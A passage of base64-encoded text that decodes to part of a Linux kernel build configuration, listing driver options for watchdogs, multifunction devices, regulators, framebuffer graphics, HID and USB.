X1dEVCBpcyBub3Qgc2V0CkNPTkZJR19WSUFfV0RUPW0KQ09ORklHX1c4MzYyN0hGX1dEVD15CkNP TkZJR19XODM4NzdGX1dEVD15CkNPTkZJR19XODM5NzdGX1dEVD15CkNPTkZJR19NQUNIWl9XRFQ9 eQpDT05GSUdfU0JDX0VQWF9DM19XQVRDSERPRz1tCkNPTkZJR19YRU5fV0RUPXkKCiMKIyBQQ0kt YmFzZWQgV2F0Y2hkb2cgQ2FyZHMKIwpDT05GSUdfUENJUENXQVRDSERPRz15CiMgQ09ORklHX1dE VFBDSSBpcyBub3Qgc2V0CgojCiMgVVNCLWJhc2VkIFdhdGNoZG9nIENhcmRzCiMKQ09ORklHX1VT QlBDV0FUQ0hET0c9bQpDT05GSUdfU1NCX1BPU1NJQkxFPXkKCiMKIyBTb25pY3MgU2lsaWNvbiBC YWNrcGxhbmUKIwpDT05GSUdfU1NCPW0KQ09ORklHX1NTQl9TUFJPTT15CkNPTkZJR19TU0JfUENJ SE9TVF9QT1NTSUJMRT15CkNPTkZJR19TU0JfUENJSE9TVD15CiMgQ09ORklHX1NTQl9CNDNfUENJ X0JSSURHRSBpcyBub3Qgc2V0CkNPTkZJR19TU0JfUENNQ0lBSE9TVF9QT1NTSUJMRT15CkNPTkZJ R19TU0JfUENNQ0lBSE9TVD15CkNPTkZJR19TU0JfU0RJT0hPU1RfUE9TU0lCTEU9eQpDT05GSUdf U1NCX1NESU9IT1NUPXkKQ09ORklHX1NTQl9TSUxFTlQ9eQpDT05GSUdfU1NCX0RSSVZFUl9QQ0lD T1JFX1BPU1NJQkxFPXkKQ09ORklHX1NTQl9EUklWRVJfUENJQ09SRT15CkNPTkZJR19CQ01BX1BP U1NJQkxFPXkKCiMKIyBCcm9hZGNvbSBzcGVjaWZpYyBBTUJBCiMKIyBDT05GSUdfQkNNQSBpcyBu b3Qgc2V0CgojCiMgTXVsdGlmdW5jdGlvbiBkZXZpY2UgZHJpdmVycwojCkNPTkZJR19NRkRfQ09S RT15CiMgQ09ORklHX01GRF9BUzM3MTEgaXMgbm90IHNldApDT05GSUdfTUZEX0FTMzcyMj15CkNP TkZJR19QTUlDX0FEUDU1MjA9eQpDT05GSUdfTUZEX0FUTUVMX0ZMRVhDT009bQojIENPTkZJR19N RkRfQVRNRUxfSExDREMgaXMgbm90IHNldAojIENPTkZJR19NRkRfQkNNNTkwWFggaXMgbm90IHNl dAojIENPTkZJR19NRkRfQVhQMjBYIGlzIG5vdCBzZXQKQ09ORklHX01GRF9DUk9TX0VDPXkKQ09O RklHX01GRF9DUk9TX0VDX0kyQz15CkNPTkZJR19NRkRfQ1JPU19FQ19TUEk9eQpDT05GSUdfUE1J Q19EQTkwM1g9eQpDT05GSUdfUE1JQ19EQTkwNTI9eQpDT05GSUdfTUZEX0RBOTA1Ml9TUEk9eQoj IENPTkZJR19NRkRfREE5MDUyX0kyQyBpcyBub3Qgc2V0CkNPTkZJR19NRkRfREE5MDU1PXkKIyBD T05GSUdfTUZEX0RBOTA2MiBpcyBub3Qgc2V0CiMgQ09ORklHX01GRF9EQTkwNjMgaXMgbm90IHNl dApDT05GSUdfTUZEX0RBOTE1MD1tCiMgQ09ORklHX01GRF9ETE4yIGlzIG5vdCBzZXQKQ09ORklH X01GRF9NQzEzWFhYPW0KQ09ORklHX01GRF9NQzEzWFhYX1NQST1tCkNPTkZJR19NRkRfTUMxM1hY WF9JMkM9bQpDT05GSUdfTUZEX0hJNjQyMV9QTUlDPW0KQ09ORklHX0hUQ19QQVNJQzM9eQpDT05G SUdfTUZEX0lOVEVMX1FVQVJLX0kyQ19HUElPPXkKQ09ORklHX0xQQ19JQ0g9bQpDT05GSUdfTFBD X1NDSD15CkNPTkZJR19NRkRfSU5URUxfTFBTUz1tCkNPTkZJR19NRkRfSU5URUxfTFBTU19BQ1BJ PW0KIyBDT05GSUdfTUZEX0lOVEVMX0xQU1NfUENJIGlzIG5vdCBzZXQKIyBDT05GSUdfTUZEX0pB TlpfQ01PRElPIGlzIG5vdCBzZXQKIyBDT05GSUdfTUZEX0tFTVBMRCBpcyBub3Qgc2V0CkNPTkZJ R19NRkRfODhQTTgwMD1tCkNPTkZJR19NRkRfODhQTTgwNT1tCkNPTkZJR19NRkRfODhQTTg2MFg9 eQpDT05GSUdfTUZEX01BWDE0NTc3PXkKQ09ORklHX01GRF9NQVg3NzY4Nj15CiMgQ09ORklHX01G RF9NQVg3NzY5MyBpcyBub3Qgc2V0CiMgQ09ORklHX01GRF9NQVg3Nzg0MyBpcyBub3Qgc2V0CiMg Q09ORklHX01GRF9NQVg4OTA3IGlzIG5vdCBzZXQKQ09ORklHX01GRF9NQVg4OTI1PXkKIyBDT05G SUdfTUZEX01BWDg5OTcgaXMgbm90IHNldApDT05GSUdfTUZEX01BWDg5OTg9eQpDT05GSUdfTUZE X01UNjM5Nz15CiMgQ09ORklHX01GRF9NRU5GMjFCTUMgaXMgbm90IHNldApDT05GSUdfRVpYX1BD QVA9eQpDT05GSUdfTUZEX1ZJUEVSQk9BUkQ9eQpDT05GSUdfTUZEX1JFVFU9eQpDT05GSUdfTUZE X1BDRjUwNjMzPW0KQ09ORklHX1BDRjUwNjMzX0FEQz1tCiMgQ09ORklHX1BDRjUwNjMzX0dQSU8g aXMgbm90IHNldAojIENPTkZJR19NRkRfUkRDMzIxWCBpcyBub3Qgc2V0CiMgQ09ORklHX01GRF9S VFNYX1BDSSBpcyBub3Qgc2V0CkNPTkZJR19NRkRfUlQ1MDMzPW0KQ09ORklHX01GRF9SVFNYX1VT Qj1tCiMgQ09ORklHX01GRF9SQzVUNTgzIGlzIG5vdCBzZXQKIyBDT05GSUdfTUZEX1JLODA4IGlz IG5vdCBzZXQKQ09ORklHX01GRF9STjVUNjE4PXkKQ09ORklHX01GRF9TRUNfQ09SRT15CiMgQ09O RklHX01GRF9TSTQ3NlhfQ09SRSBpcyBub3Qgc2V0CiMgQ09ORklHX01GRF9TTTUwMSBpcyBub3Qg c2V0CkNPTkZJR19NRkRfU0tZODE0NTI9eQpDT05GSUdfTUZEX1NNU0M9eQojIENPTkZJR19BQlg1 MDBfQ09SRSBpcyBub3Qgc2V0CkNPTkZJR19NRkRfU1RNUEU9eQoKIwojIFNUTWljcm9lbGVjdHJv bmljcyBTVE1QRSBJbnRlcmZhY2UgRHJpdmVycwojCkNPTkZJR19TVE1QRV9JMkM9eQojIENPTkZJ R19TVE1QRV9TUEkgaXMgbm90IHNldAojIENPTkZJR19NRkRfU1lTQ09OIGlzIG5vdCBzZXQKIyBD T05GSUdfTUZEX1RJX0FNMzM1WF9UU0NBREMgaXMgbm90IHNldApDT05GSUdfTUZEX0xQMzk0Mz1t CiMgQ09ORklHX01GRF9MUDg3ODggaXMgbm90IHNldAojIENPTkZJR19NRkRfUEFMTUFTIGlzIG5v dCBzZXQKQ09ORklHX1RQUzYxMDVYPXkKQ09ORklHX1RQUzY1MDdYPXkKIyBDT05GSUdfTUZEX1RQ UzY1MDkwIGlzIG5vdCBzZXQKIyBDT05GSUdfTUZEX1RQUzY1MjE3IGlzIG5vdCBzZXQKQ09ORklH X01GRF9UUFM2NTIxOD1tCiMgQ09ORklHX01GRF9UUFM2NTg2WCBpcyBub3Qgc2V0CiMgQ09ORklH X01GRF9UUFM4MDAzMSBpcyBub3Qgc2V0CkNPTkZJR19UV0w0MDMwX0NPUkU9eQojIENPTkZJR19N RkRfVFdMNDAzMF9BVURJTyBpcyBub3Qgc2V0CiMgQ09ORklHX1RXTDYwNDBfQ09SRSBpcyBub3Qg c2V0CiMgQ09ORklHX01GRF9XTDEyNzNfQ09SRSBpcyBub3Qgc2V0CkNPTkZJR19NRkRfTE0zNTMz PXkKQ09ORklHX01GRF9UQzM1ODlYPXkKIyBDT05GSUdfTUZEX1RNSU8gaXMgbm90IHNldApDT05G SUdfTUZEX1ZYODU1PW0KQ09ORklHX01GRF9BUklaT05BPXkKQ09ORklHX01GRF9BUklaT05BX0ky Qz1tCkNPTkZJR19NRkRfQVJJWk9OQV9TUEk9eQpDT05GSUdfTUZEX1dNNTEwMj15CkNPTkZJR19N RkRfV001MTEwPXkKQ09ORklHX01GRF9XTTg5OTc9eQojIENPTkZJR19NRkRfV004OTk4IGlzIG5v dCBzZXQKQ09ORklHX01GRF9XTTg0MDA9eQpDT05GSUdfTUZEX1dNODMxWD15CkNPTkZJR19NRkRf V004MzFYX0kyQz15CiMgQ09ORklHX01GRF9XTTgzMVhfU1BJIGlzIG5vdCBzZXQKQ09ORklHX01G RF9XTTgzNTA9eQpDT05GSUdfTUZEX1dNODM1MF9JMkM9eQpDT05GSUdfTUZEX1dNODk5ND15CkNP TkZJR19SRUdVTEFUT1I9eQpDT05GSUdfUkVHVUxBVE9SX0RFQlVHPXkKQ09ORklHX1JFR1VMQVRP Ul9GSVhFRF9WT0xUQUdFPXkKQ09ORklHX1JFR1VMQVRPUl9WSVJUVUFMX0NPTlNVTUVSPXkKQ09O RklHX1JFR1VMQVRPUl9VU0VSU1BBQ0VfQ09OU1VNRVI9bQpDT05GSUdfUkVHVUxBVE9SXzg4UE04 MDA9bQpDT05GSUdfUkVHVUxBVE9SXzg4UE04NjA3PXkKQ09ORklHX1JFR1VMQVRPUl9BQ1Q4ODY1 PXkKIyBDT05GSUdfUkVHVUxBVE9SX0FENTM5OCBpcyBub3Qgc2V0CkNPTkZJR19SRUdVTEFUT1Jf QVMzNzIyPXkKQ09ORklHX1JFR1VMQVRPUl9EQTkwM1g9bQojIENPTkZJR19SRUdVTEFUT1JfREE5 MDUyIGlzIG5vdCBzZXQKQ09ORklHX1JFR1VMQVRPUl9EQTkwNTU9eQpDT05GSUdfUkVHVUxBVE9S X0RBOTIxMD15CkNPTkZJR19SRUdVTEFUT1JfREE5MjExPXkKQ09ORklHX1JFR1VMQVRPUl9GQU41 MzU1NT1tCkNPTkZJR19SRUdVTEFUT1JfSEk2NDIxPW0KIyBDT05GSUdfUkVHVUxBVE9SX0lTTDkz MDUgaXMgbm90IHNldAojIENPTkZJR19SRUdVTEFUT1JfSVNMNjI3MUEgaXMgbm90IHNldAojIENP TkZJR19SRUdVTEFUT1JfTFAzOTcxIGlzIG5vdCBzZXQKQ09ORklHX1JFR1VMQVRPUl9MUDM5NzI9 bQojIENPTkZJR19SRUdVTEFUT1JfTFA4NzJYIGlzIG5vdCBzZXQKIyBDT05GSUdfUkVHVUxBVE9S X0xQODc1NSBpcyBub3Qgc2V0CkNPTkZJR19SRUdVTEFUT1JfTFRDMzU4OT15CkNPTkZJR19SRUdV TEFUT1JfTUFYMTQ1Nzc9bQojIENPTkZJR19SRUdVTEFUT1JfTUFYMTU4NiBpcyBub3Qgc2V0CkNP TkZJR19SRUdVTEFUT1JfTUFYODY0OT1tCkNPTkZJR19SRUdVTEFUT1JfTUFYODY2MD1tCiMgQ09O RklHX1JFR1VMQVRPUl9NQVg4OTI1IGlzIG5vdCBzZXQKQ09ORklHX1JFR1VMQVRPUl9NQVg4OTUy PXkKIyBDT05GSUdfUkVHVUxBVE9SX01BWDg5NzMgaXMgbm90IHNldAojIENPTkZJR19SRUdVTEFU T1JfTUFYODk5OCBpcyBub3Qgc2V0CkNPTkZJR19SRUdVTEFUT1JfTUFYNzc2ODY9eQpDT05GSUdf UkVHVUxBVE9SX01BWDc3ODAyPW0KQ09ORklHX1JFR1VMQVRPUl9NQzEzWFhYX0NPUkU9bQpDT05G SUdfUkVHVUxBVE9SX01DMTM3ODM9bQojIENPTkZJR19SRUdVTEFUT1JfTUMxMzg5MiBpcyBub3Qg c2V0CkNPTkZJR19SRUdVTEFUT1JfTVQ2MzExPXkKIyBDT05GSUdfUkVHVUxBVE9SX01UNjM5NyBp cyBub3Qgc2V0CiMgQ09ORklHX1JFR1VMQVRPUl9QQ0FQIGlzIG5vdCBzZXQKQ09ORklHX1JFR1VM QVRPUl9QQ0Y1MDYzMz1tCkNPTkZJR19SRUdVTEFUT1JfUEZVWkUxMDA9bQpDT05GSUdfUkVHVUxB VE9SX1BXTT1tCiMgQ09ORklHX1JFR1VMQVRPUl9RQ09NX1NQTUkgaXMgbm90IHNldAojIENPTkZJ R19SRUdVTEFUT1JfUk41VDYxOCBpcyBub3Qgc2V0CkNPTkZJR19SRUdVTEFUT1JfUlQ1MDMzPW0K Q09ORklHX1JFR1VMQVRPUl9TMk1QQTAxPW0KIyBDT05GSUdfUkVHVUxBVE9SX1MyTVBTMTEgaXMg bm90IHNldApDT05GSUdfUkVHVUxBVE9SX1M1TTg3Njc9bQojIENPTkZJR19SRUdVTEFUT1JfU0tZ ODE0NTIgaXMgbm90IHNldApDT05GSUdfUkVHVUxBVE9SX1RQUzUxNjMyPW0KQ09ORklHX1JFR1VM QVRPUl9UUFM2MTA1WD15CkNPTkZJR19SRUdVTEFUT1JfVFBTNjIzNjA9bQpDT05GSUdfUkVHVUxB VE9SX1RQUzY1MDIzPXkKIyBDT05GSUdfUkVHVUxBVE9SX1RQUzY1MDdYIGlzIG5vdCBzZXQKQ09O RklHX1JFR1VMQVRPUl9UUFM2NTIxOD1tCkNPTkZJR19SRUdVTEFUT1JfVFBTNjUyNFg9eQpDT05G SUdfUkVHVUxBVE9SX1RXTDQwMzA9bQpDT05GSUdfUkVHVUxBVE9SX1dNODMxWD15CkNPTkZJR19S RUdVTEFUT1JfV004MzUwPXkKIyBDT05GSUdfUkVHVUxBVE9SX1dNODQwMCBpcyBub3Qgc2V0CkNP TkZJR19SRUdVTEFUT1JfV004OTk0PXkKIyBDT05GSUdfTUVESUFfU1VQUE9SVCBpcyBub3Qgc2V0 CgojCiMgR3JhcGhpY3Mgc3VwcG9ydAojCkNPTkZJR19BR1A9eQpDT05GSUdfQUdQX0lOVEVMPXkK Q09ORklHX0FHUF9TSVM9eQpDT05GSUdfQUdQX1ZJQT1tCkNPTkZJR19JTlRFTF9HVFQ9eQpDT05G SUdfVkdBX0FSQj15CkNPTkZJR19WR0FfQVJCX01BWF9HUFVTPTE2CkNPTkZJR19WR0FfU1dJVENI RVJPTz15CiMgQ09ORklHX0RSTSBpcyBub3Qgc2V0CgojCiMgRnJhbWUgYnVmZmVyIERldmljZXMK IwpDT05GSUdfRkI9eQojIENPTkZJR19GSVJNV0FSRV9FRElEIGlzIG5vdCBzZXQKQ09ORklHX0ZC X0NNRExJTkU9eQpDT05GSUdfRkJfRERDPXkKQ09ORklHX0ZCX0JPT1RfVkVTQV9TVVBQT1JUPXkK Q09ORklHX0ZCX0NGQl9GSUxMUkVDVD15CkNPTkZJR19GQl9DRkJfQ09QWUFSRUE9eQpDT05GSUdf RkJfQ0ZCX0lNQUdFQkxJVD15CiMgQ09ORklHX0ZCX0NGQl9SRVZfUElYRUxTX0lOX0JZVEUgaXMg bm90IHNldApDT05GSUdfRkJfU1lTX0ZJTExSRUNUPXkKQ09ORklHX0ZCX1NZU19DT1BZQVJFQT15 CkNPTkZJR19GQl9TWVNfSU1BR0VCTElUPXkKQ09ORklHX0ZCX0ZPUkVJR05fRU5ESUFOPXkKQ09O RklHX0ZCX0JPVEhfRU5ESUFOPXkKIyBDT05GSUdfRkJfQklHX0VORElBTiBpcyBub3Qgc2V0CiMg Q09ORklHX0ZCX0xJVFRMRV9FTkRJQU4gaXMgbm90IHNldApDT05GSUdfRkJfU1lTX0ZPUFM9eQpD T05GSUdfRkJfREVGRVJSRURfSU89eQpDT05GSUdfRkJfSEVDVUJBPW0KQ09ORklHX0ZCX1NWR0FM SUI9eQojIENPTkZJR19GQl9NQUNNT0RFUyBpcyBub3Qgc2V0CkNPTkZJR19GQl9CQUNLTElHSFQ9 eQpDT05GSUdfRkJfTU9ERV9IRUxQRVJTPXkKQ09ORklHX0ZCX1RJTEVCTElUVElORz15CgojCiMg RnJhbWUgYnVmZmVyIGhhcmR3YXJlIGRyaXZlcnMKIwpDT05GSUdfRkJfQ0lSUlVTPXkKQ09ORklH X0ZCX1BNMj1tCkNPTkZJR19GQl9QTTJfRklGT19ESVNDT05ORUNUPXkKIyBDT05GSUdfRkJfQ1lC RVIyMDAwIGlzIG5vdCBzZXQKQ09ORklHX0ZCX0FSQz15CkNPTkZJR19GQl9BU0lMSUFOVD15CkNP TkZJR19GQl9JTVNUVD15CkNPTkZJR19GQl9WR0ExNj1tCkNPTkZJR19GQl9WRVNBPXkKQ09ORklH X0ZCX0VGST15CkNPTkZJR19GQl9ONDExPW0KQ09ORklHX0ZCX0hHQT15CiMgQ09ORklHX0ZCX09Q RU5DT1JFUyBpcyBub3Qgc2V0CkNPTkZJR19GQl9TMUQxM1hYWD15CkNPTkZJR19GQl9OVklESUE9 bQpDT05GSUdfRkJfTlZJRElBX0kyQz15CkNPTkZJR19GQl9OVklESUFfREVCVUc9eQpDT05GSUdf RkJfTlZJRElBX0JBQ0tMSUdIVD15CiMgQ09ORklHX0ZCX1JJVkEgaXMgbm90IHNldApDT05GSUdf RkJfSTc0MD15CiMgQ09ORklHX0ZCX0xFODA1NzggaXMgbm90IHNldApDT05GSUdfRkJfSU5URUw9 bQojIENPTkZJR19GQl9JTlRFTF9ERUJVRyBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX0lOVEVMX0ky QyBpcyBub3Qgc2V0CkNPTkZJR19GQl9NQVRST1g9bQojIENPTkZJR19GQl9NQVRST1hfTUlMTEVO SVVNIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfTUFUUk9YX01ZU1RJUVVFIGlzIG5vdCBzZXQKQ09O RklHX0ZCX01BVFJPWF9HPXkKIyBDT05GSUdfRkJfTUFUUk9YX0kyQyBpcyBub3Qgc2V0CiMgQ09O RklHX0ZCX1JBREVPTiBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX0FUWTEyOCBpcyBub3Qgc2V0CiMg Q09ORklHX0ZCX0FUWSBpcyBub3Qgc2V0CkNPTkZJR19GQl9TMz1tCiMgQ09ORklHX0ZCX1MzX0RE QyBpcyBub3Qgc2V0CkNPTkZJR19GQl9TQVZBR0U9eQojIENPTkZJR19GQl9TQVZBR0VfSTJDIGlz IG5vdCBzZXQKQ09ORklHX0ZCX1NBVkFHRV9BQ0NFTD15CiMgQ09ORklHX0ZCX1NJUyBpcyBub3Qg c2V0CkNPTkZJR19GQl9ORU9NQUdJQz15CiMgQ09ORklHX0ZCX0tZUk8gaXMgbm90IHNldApDT05G SUdfRkJfM0RGWD1tCiMgQ09ORklHX0ZCXzNERlhfQUNDRUwgaXMgbm90IHNldAojIENPTkZJR19G Ql8zREZYX0kyQyBpcyBub3Qgc2V0CkNPTkZJR19GQl9WT09ET08xPXkKQ09ORklHX0ZCX1ZUODYy Mz1tCkNPTkZJR19GQl9UUklERU5UPW0KQ09ORklHX0ZCX0FSSz15CkNPTkZJR19GQl9QTTM9bQpD T05GSUdfRkJfQ0FSTUlORT15CkNPTkZJR19GQl9DQVJNSU5FX0RSQU1fRVZBTD15CiMgQ09ORklH X0NBUk1JTkVfRFJBTV9DVVNUT00gaXMgbm90IHNldApDT05GSUdfRkJfU01TQ1VGWD1tCkNPTkZJ R19GQl9VREw9bQpDT05GSUdfRkJfSUJNX0dYVDQ1MDA9eQpDT05GSUdfRkJfVklSVFVBTD1tCkNP TkZJR19YRU5fRkJERVZfRlJPTlRFTkQ9eQpDT05GSUdfRkJfTUVUUk9OT01FPXkKQ09ORklHX0ZC X01CODYyWFg9bQpDT05GSUdfRkJfTUI4NjJYWF9QQ0lfR0RDPXkKQ09ORklHX0ZCX01CODYyWFhf STJDPXkKQ09ORklHX0ZCX0JST0FEU0hFRVQ9eQojIENPTkZJR19GQl9BVU9fSzE5MFggaXMgbm90 IHNldAojIENPTkZJR19GQl9TSU1QTEUgaXMgbm90IHNldAojIENPTkZJR19GQl9TTTcxMiBpcyBu b3Qgc2V0CkNPTkZJR19CQUNLTElHSFRfTENEX1NVUFBPUlQ9eQpDT05GSUdfTENEX0NMQVNTX0RF VklDRT15CkNPTkZJR19MQ0RfTFRWMzUwUVY9bQojIENPTkZJR19MQ0RfSUxJOTIyWCBpcyBub3Qg c2V0CkNPTkZJR19MQ0RfSUxJOTMyMD15CkNPTkZJR19MQ0RfVERPMjRNPW0KQ09ORklHX0xDRF9W R0cyNDMyQTQ9eQpDT05GSUdfTENEX1BMQVRGT1JNPW0KIyBDT05GSUdfTENEX1M2RTYzTTAgaXMg bm90IHNldApDT05GSUdfTENEX0xEOTA0MD15CkNPTkZJR19MQ0RfQU1TMzY5RkcwNj15CiMgQ09O RklHX0xDRF9MTVM1MDFLRjAzIGlzIG5vdCBzZXQKQ09ORklHX0xDRF9IWDgzNTc9bQpDT05GSUdf QkFDS0xJR0hUX0NMQVNTX0RFVklDRT15CkNPTkZJR19CQUNLTElHSFRfR0VORVJJQz15CkNPTkZJ R19CQUNLTElHSFRfTE0zNTMzPXkKQ09ORklHX0JBQ0tMSUdIVF9QV009bQpDT05GSUdfQkFDS0xJ R0hUX0RBOTAzWD15CkNPTkZJR19CQUNLTElHSFRfREE5MDUyPXkKQ09ORklHX0JBQ0tMSUdIVF9N QVg4OTI1PW0KQ09ORklHX0JBQ0tMSUdIVF9BUFBMRT15CiMgQ09ORklHX0JBQ0tMSUdIVF9QTTg5 NDFfV0xFRCBpcyBub3Qgc2V0CkNPTkZJR19CQUNLTElHSFRfU0FIQVJBPXkKQ09ORklHX0JBQ0tM SUdIVF9XTTgzMVg9bQojIENPTkZJR19CQUNLTElHSFRfQURQNTUyMCBpcyBub3Qgc2V0CkNPTkZJ R19CQUNLTElHSFRfQURQODg2MD1tCkNPTkZJR19CQUNLTElHSFRfQURQODg3MD15CkNPTkZJR19C QUNLTElHSFRfODhQTTg2MFg9eQpDT05GSUdfQkFDS0xJR0hUX1BDRjUwNjMzPW0KQ09ORklHX0JB Q0tMSUdIVF9MTTM2MzBBPW0KQ09ORklHX0JBQ0tMSUdIVF9MTTM2Mzk9eQojIENPTkZJR19CQUNL TElHSFRfTFA4NTVYIGlzIG5vdCBzZXQKIyBDT05GSUdfQkFDS0xJR0hUX1BBTkRPUkEgaXMgbm90 IHNldApDT05GSUdfQkFDS0xJR0hUX1NLWTgxNDUyPW0KQ09ORklHX0JBQ0tMSUdIVF9MVjUyMDdM UD15CiMgQ09ORklHX0JBQ0tMSUdIVF9CRDYxMDcgaXMgbm90IHNldApDT05GSUdfVkdBU1RBVEU9 eQoKIwojIENvbnNvbGUgZGlzcGxheSBkcml2ZXIgc3VwcG9ydAojCkNPTkZJR19WR0FfQ09OU09M RT15CiMgQ09ORklHX1ZHQUNPTl9TT0ZUX1NDUk9MTEJBQ0sgaXMgbm90IHNldApDT05GSUdfRFVN TVlfQ09OU09MRT15CkNPTkZJR19EVU1NWV9DT05TT0xFX0NPTFVNTlM9ODAKQ09ORklHX0RVTU1Z X0NPTlNPTEVfUk9XUz0yNQojIENPTkZJR19GUkFNRUJVRkZFUl9DT05TT0xFIGlzIG5vdCBzZXQK IyBDT05GSUdfTE9HTyBpcyBub3Qgc2V0CiMgQ09ORklHX1NPVU5EIGlzIG5vdCBzZXQKCiMKIyBI SUQgc3VwcG9ydAojCkNPTkZJR19ISUQ9bQojIENPTkZJR19ISURfQkFUVEVSWV9TVFJFTkdUSCBp cyBub3Qgc2V0CiMgQ09ORklHX0hJRFJBVyBpcyBub3Qgc2V0CkNPTkZJR19VSElEPW0KQ09ORklH X0hJRF9HRU5FUklDPW0KCiMKIyBTcGVjaWFsIEhJRCBkcml2ZXJzCiMKIyBDT05GSUdfSElEX0E0 VEVDSCBpcyBub3Qgc2V0CkNPTkZJR19ISURfQUNSVVg9bQojIENPTkZJR19ISURfQUNSVVhfRkYg aXMgbm90IHNldAojIENPTkZJR19ISURfQVBQTEUgaXMgbm90IHNldApDT05GSUdfSElEX0FVUkVB TD1tCiMgQ09ORklHX0hJRF9CRUxLSU4gaXMgbm90IHNldApDT05GSUdfSElEX0NIRVJSWT1tCiMg Q09ORklHX0hJRF9DSElDT05ZIGlzIG5vdCBzZXQKIyBDT05GSUdfSElEX0NPUlNBSVIgaXMgbm90 IHNldApDT05GSUdfSElEX0NZUFJFU1M9bQpDT05GSUdfSElEX0RSQUdPTlJJU0U9bQojIENPTkZJ R19EUkFHT05SSVNFX0ZGIGlzIG5vdCBzZXQKIyBDT05GSUdfSElEX0VNU19GRiBpcyBub3Qgc2V0 CkNPTkZJR19ISURfRUxFQ09NPW0KIyBDT05GSUdfSElEX0VaS0VZIGlzIG5vdCBzZXQKQ09ORklH X0hJRF9HRU1CSVJEPW0KQ09ORklHX0hJRF9LRVlUT1VDSD1tCkNPTkZJR19ISURfS1lFPW0KQ09O RklHX0hJRF9XQUxUT1A9bQpDT05GSUdfSElEX0dZUkFUSU9OPW0KIyBDT05GSUdfSElEX0lDQURF IGlzIG5vdCBzZXQKQ09ORklHX0hJRF9UV0lOSEFOPW0KQ09ORklHX0hJRF9LRU5TSU5HVE9OPW0K IyBDT05GSUdfSElEX0xDUE9XRVIgaXMgbm90IHNldApDT05GSUdfSElEX0xFTk9WTz1tCkNPTkZJ R19ISURfTE9HSVRFQ0g9bQojIENPTkZJR19ISURfTE9HSVRFQ0hfSElEUFAgaXMgbm90IHNldAoj IENPTkZJR19MT0dJVEVDSF9GRiBpcyBub3Qgc2V0CkNPTkZJR19MT0dJUlVNQkxFUEFEMl9GRj15 CkNPTkZJR19MT0dJRzk0MF9GRj15CkNPTkZJR19MT0dJV0hFRUxTX0ZGPXkKQ09ORklHX0hJRF9N QUdJQ01PVVNFPW0KIyBDT05GSUdfSElEX01JQ1JPU09GVCBpcyBub3Qgc2V0CkNPTkZJR19ISURf TU9OVEVSRVk9bQpDT05GSUdfSElEX01VTFRJVE9VQ0g9bQpDT05GSUdfSElEX09SVEVLPW0KQ09O RklHX0hJRF9QQU5USEVSTE9SRD1tCiMgQ09ORklHX1BBTlRIRVJMT1JEX0ZGIGlzIG5vdCBzZXQK IyBDT05GSUdfSElEX1BFVEFMWU5YIGlzIG5vdCBzZXQKQ09ORklHX0hJRF9QSUNPTENEPW0KQ09O RklHX0hJRF9QSUNPTENEX0ZCPXkKIyBDT05GSUdfSElEX1BJQ09MQ0RfQkFDS0xJR0hUIGlzIG5v dCBzZXQKQ09ORklHX0hJRF9QSUNPTENEX0xDRD15CiMgQ09ORklHX0hJRF9QSUNPTENEX0xFRFMg aXMgbm90IHNldApDT05GSUdfSElEX1BMQU5UUk9OSUNTPW0KIyBDT05GSUdfSElEX1BSSU1BWCBp cyBub3Qgc2V0CiMgQ09ORklHX0hJRF9TQUlURUsgaXMgbm90IHNldApDT05GSUdfSElEX1NBTVNV Tkc9bQpDT05GSUdfSElEX1NQRUVETElOSz1tCiMgQ09ORklHX0hJRF9TVEVFTFNFUklFUyBpcyBu b3Qgc2V0CkNPTkZJR19ISURfU1VOUExVUz1tCiMgQ09ORklHX0hJRF9STUkgaXMgbm90IHNldApD T05GSUdfSElEX0dSRUVOQVNJQT1tCiMgQ09ORklHX0dSRUVOQVNJQV9GRiBpcyBub3Qgc2V0CkNP TkZJR19ISURfU01BUlRKT1lQTFVTPW0KQ09ORklHX1NNQVJUSk9ZUExVU19GRj15CkNPTkZJR19I SURfVElWTz1tCkNPTkZJR19ISURfVE9QU0VFRD1tCkNPTkZJR19ISURfVEhJTkdNPW0KQ09ORklH X0hJRF9USFJVU1RNQVNURVI9bQpDT05GSUdfVEhSVVNUTUFTVEVSX0ZGPXkKQ09ORklHX0hJRF9X QUNPTT1tCkNPTkZJR19ISURfV0lJTU9URT1tCkNPTkZJR19ISURfWElOTU89bQpDT05GSUdfSElE X1pFUk9QTFVTPW0KQ09ORklHX1pFUk9QTFVTX0ZGPXkKQ09ORklHX0hJRF9aWURBQ1JPTj1tCkNP TkZJR19ISURfU0VOU09SX0hVQj1tCkNPTkZJR19ISURfU0VOU09SX0NVU1RPTV9TRU5TT1I9bQoK IwojIFVTQiBISUQgc3VwcG9ydAojCiMgQ09ORklHX1VTQl9ISUQgaXMgbm90IHNldApDT05GSUdf SElEX1BJRD15CgojCiMgVVNCIEhJRCBCb290IFByb3RvY29sIGRyaXZlcnMKIwpDT05GSUdfVVNC X0tCRD1tCkNPTkZJR19VU0JfTU9VU0U9bQoKIwojIEkyQyBISUQgc3VwcG9ydAojCkNPTkZJR19J MkNfSElEPW0KQ09ORklHX1VTQl9PSENJX0xJVFRMRV9FTkRJQU49eQpDT05GSUdfVVNCX1NVUFBP UlQ9eQpDT05GSUdfVVNCX0NPTU1PTj15CkNPTkZJR19VU0JfQVJDSF9IQVNfSENEPXkKQ09ORklH X1VTQj15CkNPTkZJR19VU0JfQU5OT1VOQ0VfTkVXX0RFVklDRVM9eQoKIwojIE1pc2NlbGxhbmVv dXMgVVNCIG9wdGlvbnMKIwpDT05GSUdfVVNCX0RFRkFVTFRfUEVSU0lTVD15CiMgQ09ORklHX1VT Ql9EWU5BTUlDX01JTk9SUyBpcyBub3Qgc2V0CkNPTkZJR19VU0JfT1RHPXkKIyBDT05GSUdfVVNC X09UR19XSElURUxJU1QgaXMgbm90IHNldApDT05GSUdfVVNCX09UR19CTEFDS0xJU1RfSFVCPXkK Q09ORklHX1VTQl9PVEdfRlNNPXkKQ09ORklHX1VTQl9VTFBJX0JVUz15CkNPTkZJR19VU0JfTU9O PXkKIyBDT05GSUdfVVNCX1dVU0JfQ0JBRiBpcyBub3Qgc2V0CgojCiMgVVNCIEhvc3QgQ29udHJv bGxlciBEcml2ZXJzCiMKIyBDT05GSUdfVVNCX0M2N1gwMF9IQ0QgaXMgbm90IHNldApDT05GSUdf VVNCX1hIQ0lfSENEPXkKQ09ORklHX1VTQl9YSENJX1BDST15CkNPTkZJR19VU0JfWEhDSV9QTEFU 